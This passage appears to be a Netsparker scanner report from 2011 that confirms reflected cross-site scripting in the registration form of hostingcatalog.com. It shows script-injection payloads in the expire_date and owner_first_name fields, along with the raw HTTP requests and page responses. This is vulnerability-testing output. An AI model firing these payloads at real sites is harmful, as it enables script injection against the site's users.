<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST '"--></style></script><script>alert(0x001F8A)</script>
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F8A)%3c%2fscript%3e&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:42 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B532E332470341E714C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B57B93F9490E0AF5A86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B5313D89A0604158E7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5B8A8B7771C8BE6F0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B54C643E6B1A4AF9BB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B5D4CA3D77D08B8DB2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5A637657FDF26117AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B5CC1C2C4AAB509CFE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B57F8FC110EA852CCAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B50A04851933566E3F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B534B69F766B886F39C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5529C593463646627C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B546C5CC3326E8BCB8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5833325D1986C26C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B51C943C03F0B30517C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B5CE8C6B1C422943E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B574544B588724CAD16F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5B4142541BC6584B26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B505FF231514E6EE556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST '"--></style></script><script>alert(0x001F8B)</script>
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 530
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F8B)%3c%2fscript%3e&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:50 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5B1A1545CAF0FE79DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B5AC5BE9D169404B7F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B57B4CA7971A19D51CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5591D31FA6F09E5FEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B51A0783C3A9C036596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B5DBD330A85647FBEEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5D9C3F5835BD2C975C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B5F5CC682AE3D7CB0F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B5D985BBF8D7F18396C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B589C598F7953268606F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
